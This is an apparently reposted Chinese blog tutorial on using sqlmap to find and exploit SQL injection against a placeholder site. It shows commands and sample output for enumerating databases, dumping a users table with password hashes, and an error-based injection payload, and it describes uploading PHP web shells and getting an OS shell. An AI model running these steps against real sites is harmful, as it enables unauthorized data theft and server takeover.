sqlmap详细教程

这篇具有很好参考价值的文章主要介绍了sqlmap详细教程。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。


前言

我最近在学习 sqlmap , 我学完之后之后,觉得还是把这些都写清楚,方便 SQL map 的初学者。

一、sqlmap

Sqlmap是最流行和最强大的SQL注入自动化工具之一。给定易受攻击的http请求url,sqlmap可以利用远程数据库并进行大量黑客攻击,例如提取数据库名称,表,列,表中的所有数据等。
在某些情况下,它甚至可以在远程文件系统上读取和写入文件。用python编写,它是目前最强大的黑客工具之一。Sqlmap是SQL注入的代言。

Sqlmap包含在渗透测试Linux发行版中,如kali linux,backtrack,backbox等。在其他发行版上,只需从以下网址下载即可

http://sqlmap.org/

由于它是用python编写的,首先你必须在你的系统上安装python。在 ubuntu 上从 synaptic 安装 python。在Windows上安装activestate python。,

在本教程中,我们将学习如何使用 SQL map 来利用易受攻击的 Web 应用程序,并看看使用这样的工具可以完成所有操作。

要理解本教程,您应该对数据库驱动的 Web 应用程序的工作原理有透彻的了解。例如那些用php+mysql制作的。

二、易受攻击的网址

假设有一个 Web 应用程序或网站包含这样的 URL

http://www.site.com/section.php?id=51

并且它很容易出现 SQL 注入,因为该站点的开发人员没有正确转义参数 ID。这可以通过尝试打开 URL 来简单地进行测试

http://www.site.com/section.php?id=51'

我们只是在参数中添加了一个单引号。如果此 URL 抛出错误或以意外方式做出反应,那么很明显数据库得到了应用程序未正确转义的意外单引号。因此,在这种情况下,此输入参数“id”容易受到SQL注入的影响。

三、使用 SQL map 进行黑客攻击

现在是时候继续使用 SQL map 来破解这些 URL 了。sqlmap 命令使用 python 解释器从终端运行。

1. 扫描远程系统

第一个命令是扫描远程系统以查看其是否容易受到 SQL 注入的影响,然后收集有关它的信息。

python sqlmap.py -u "http://www.site.com/section.php?id=51"

以上是使用 SQL map 工具运行的第一个也是最简单的命令。它检查输入参数以查找它们是否容易受到 SQL 注入的影响。为此,sqlmap 将不同类型的 SQL 注入有效负载发送到输入参数并检查输出。

[*] starting at 12:10:33
[12:10:33] [INFO] resuming back-end DBMS 'mysql'
[12:10:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5

因此,sqlmap工具已经发现了操作系统,Web服务器和数据库以及版本信息。即使这么多也令人印象深刻。但是现在是时候继续前进了,看看这个工具还能做什么。

2. 发现数据库

一旦 SQL map 确认远程 URL 容易受到 SQL 注入的攻击并且可被利用,下一步就是找出远程系统上存在的数据库的名称。 “–dbs”选项用于获取数据库列表。

python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs

输出可能是这样的

[*] starting at 12:12:56
[12:12:56] [INFO] resuming back-end DBMS 'mysql'
[12:12:57] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:13:00] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: safecosmetics
available databases [2]:
[*] information_schema
[*] safecosmetics

输出显示远程系统上的现有数据库。

3. 在特定数据库中查找表

现在是时候找出特定数据库中存在哪些表了。假设这里感兴趣的数据库是“安全化妆品”

命令:

python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics

输出可以类似于这样

[11:55:18] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[11:55:18] [INFO] fetching tables for database: 'safecosmetics'
[11:55:19] [INFO] heuristics detected web page charset 'ascii'
[11:55:19] [INFO] the SQL query used returns 216 entries
[11:55:20] [INFO] retrieved: acl_acl
[11:55:21] [INFO] retrieved: acl_acl_sections
........... more tables

这不是很神奇吗?如果当然的话。现在让我们获取特定表的列。

4. 获取表的列

现在我们有了表列表,最好获取一些重要表的列。假设该表是“用户”,它包含用户名和密码。

python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users

输出可以是这样的

[12:17:39] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics'
[12:17:41] [INFO] heuristics detected web page charset 'ascii'
[12:17:41] [INFO] the SQL query used returns 8 entries
[12:17:42] [INFO] retrieved: id
[12:17:43] [INFO] retrieved: int(11)
[12:17:45] [INFO] retrieved: name
[12:17:46] [INFO] retrieved: text
[12:17:47] [INFO] retrieved: password
[12:17:48] [INFO] retrieved: text
.......
[12:17:59] [INFO] retrieved: hash
[12:18:01] [INFO] retrieved: varchar(128)
Database: safecosmetics
Table: users
[8 columns]
+-------------------+--------------+
| Column            | Type         |
+-------------------+--------------+
| email             | text         |
| hash              | varchar(128) |
| id                | int(11)      |
| name              | text         |
| password          | text         |
| permission        | tinyint(4)   |
| system_allow_only | text         |
| system_home       | text         |
+-------------------+--------------+

5. 从表中获取数据

现在是最有趣的部分,从表中提取数据。该命令将是

python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users

上面的命令将简单地转储特定表的数据,非常类似于 my SQL dump 命令。
输出可能如下所示

+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| id | hash               | name      | email     | password | permission | system_home | system_allow_only |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| 1  | 5DIpzzDHFOwnCvPonu | admin     | <blank>   | <blank>  | 3          | <blank>     | <blank>           |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+

哈希列似乎具有密码哈希。尝试破解哈希,然后您将立即获得登录详细信息。sqlmap 将创建一个包含转储数据的 CSV 文件,以便于分析。

到目前为止,我们已经能够使用 SQL map 从远程数据库中收集大量信息。这几乎就像通过像phpmyadmin这样的客户端直接访问远程数据库一样。在真实场景中,黑客会尝试获得更高的级别来访问系统。为此,他们会尝试破解密码哈希并尝试通过管理面板登录。或者他们会尝试使用 SQL map 获取操作系统 shell。

接下来呢?

一旦您能够从易受攻击的系统扫描和收集数据,就该利用它并查看是否有可能访问该系统了。Sqlmap可以做很多事情,比如在远程系统上执行sql查询,在系统上启动远程shell等。

1. 执行任意 SQL 查询

这可能是在易受 SQL 注入影响的服务器上最容易做的事情。–SQL-query 参数可用于指定要执行的 SQL 查询。感兴趣的事情是在用户表中创建一个用户或类似的东西。或者可能是更改/修改CMS页面的内容等。

另一个参数 --SQL-shell 将提供一个类似 SQL shell 的接口来交互运行查询。

2.进入管理面板并执行

如果网站正在运行某种具有管理面板的自定义cms或类似的东西,那么只要您能够破解数据库转储中检索到的密码,就可以进入内部。简单和短长度的密码可以通过暴力破解或 google.com 破解。

检查管理面板是否允许上传某些文件。如果可以上传任意的php文件,那么它会更有趣。该php文件可以包含shell_exec,系统,exec或直通函数调用,这将允许执行任意系统命令。可以上传 php web shell 脚本来做同样的事情。

3.远程操作上的shell

这是完全接管服务器要做的事情。但是请注意,它并不像上面显示的技巧那样简单和琐碎。SQLMAP带有一个参数调用–OS-shell,可用于尝试在远程系统上获取shell,但它本身有许多限制。

根据sqlmap手册
It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.
翻译:当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server时,可以在数据库服务器的底层操作系统上运行任意命令,并且会话用户具有滥用数据库特定功能和体系结构弱点所需的权限

当前数据库用户所需的最重要的特权是通过数据库函数写入文件。在大多数情况下,这是不存在的。因此,这种技术在大多数情况下不起作用。

注意

  1. 有时 SQL map 根本无法连接到 url。当它卡在“测试与目标 URL 的连接”的第一个任务时,这是可见的。在这种情况下,使用“–random-agent”选项很有帮助。这使得sqlmap使用有效的用户代理签名,就像Chrome或Firefox等浏览器发送的签名一样。

  2. 对于不是 param=value 形式的 URL,SQL map 无法自动知道在哪里注入。例如像 http://www.site.com/class_name/method/43/80 这样的 mvc 网址。

在这种情况下,sqlmap 需要告诉用 * 标记的注入点
http://www.site.com/class_name/method/43*/80
上面会告诉 SQL map 在 * 标记的点注入

  1. 当使用通过post方法提交数据的表单时,必须在“–data”选项中提供sqlmap的发布数据。

总结

以上就是今天要讲的内容,本文简单介绍了sqlmap的使用,文章来源地址https://www.toymoban.com/news/detail-445898.html

到了这里,关于sqlmap详细教程的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • sqlmap详细教程

    我最近在学习 sqlmap , 我学完之后之后,觉得还是把这些都写清楚,方便 SQL map 的初学者。 Sqlmap是最流行和最强大的SQL注入自动化工具之一。给定易受攻击的http请求url,sqlmap可以利用远程数据库并进行大量黑客攻击,例如提取数据库名称,表,列,表中的所有数据等。 在某

    2024年02月05日
    浏览(24)
  • 黑客工具之sqlmap安装教程,超详细使用教程(附工具安装包)

    一、sqlmap简介 sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。 sqlmap支持五种不同的注入模式: 基于布尔的盲注,即可以根据返回页面判断条件真假的注入 基于时间的盲注,即不能根据页面返回内容

    2023年04月10日
    浏览(25)
  • 【2023最新版】超详细Sqlmap安装保姆级教程,SQL注入使用指南,收藏这一篇就够了

    一、sqlmap简介 sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等 Sqlmap采用了以下5种独特的SQL注入技术 基于布尔类型的盲注,即可以根据

    2024年02月10日
    浏览(50)
  • SQLMAP工具 详细使用方法

    官方网址 GitHub地址 使用手册 SQLMAP 是一个开源的渗透测试工具,可以用来自动化的检测,利用 SQL 注入漏 洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据 库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可

    2024年02月11日
    浏览(38)
  • 超详细SQLMap使用攻略及技巧分享

    sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操

    2024年02月08日
    浏览(40)
  • 《Git入门实践教程》前言+目录

    版本控制系统(VCS)在项目开发中异常重要,但和在校大学生的交流中知道,这个重要方向并未受到重视。具备这一技能,既是项目开发能力的体现,也可为各种面试加码。在学习体验后知道,Git多样化平台、多种操作方式、丰富的资源为业内人士提供了方便的同时,也造成

    2024年02月10日
    浏览(50)
  • sqlmap使用教程

    目录 sqlmap基础使用 1、判断是否存在注入 2、判断文本中的请求是否存在注入 3、查询当前用户下的所有数据库 4、获取数据库中的表名 5、获取表中的字段名 6、获取字段内容 7、获取数据库所有用户 8、获取数据库用户的密码 9、获取当前网站数据库的名称 10、获取当前网站数

    2024年02月15日
    浏览(46)
  • 【RabbitMQ教程】前言 —— 中间件介绍

                                                                       💧 【 R a b b i t M Q 教程】前言——中间件介绍 color{#FF1493}{【RabbitMQ教程】前言 —— 中间件介绍} 【 R abbi tMQ 教程】前言 —— 中间件介绍 💧           🌷 仰望天空,妳

    2024年02月08日
    浏览(60)
  • sqlmap的安装及使用教程

    sqlmap 是一个开源渗透测试工具,可自动检测和利用 SQL 注入缺陷并接管数据库服务器,支持多种数据库和多种注入技术。 sqlmap是基于python环境的,因此安装前需要安装python环境。 sqlmap不支持python3及以上,推荐使用python2.7 !! 更新:目前sqlmap已支持python3.x版本,如已安装3

    2024年02月15日
    浏览(36)
  • 《Docker极简教程》--前言--Docker的简介

    Docker 是一种用于构建、部署和运行应用程序的开源平台,它使用容器技术来实现轻量级、可移植和自包含的应用程序环境。Docker 的核心思想是将应用程序及其依赖项打包到一个称为容器的封闭单元中,从而消除了在不同环境中运行应用程序时可能出现的许多兼容性和依赖性

    2024年02月21日
    浏览(37)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包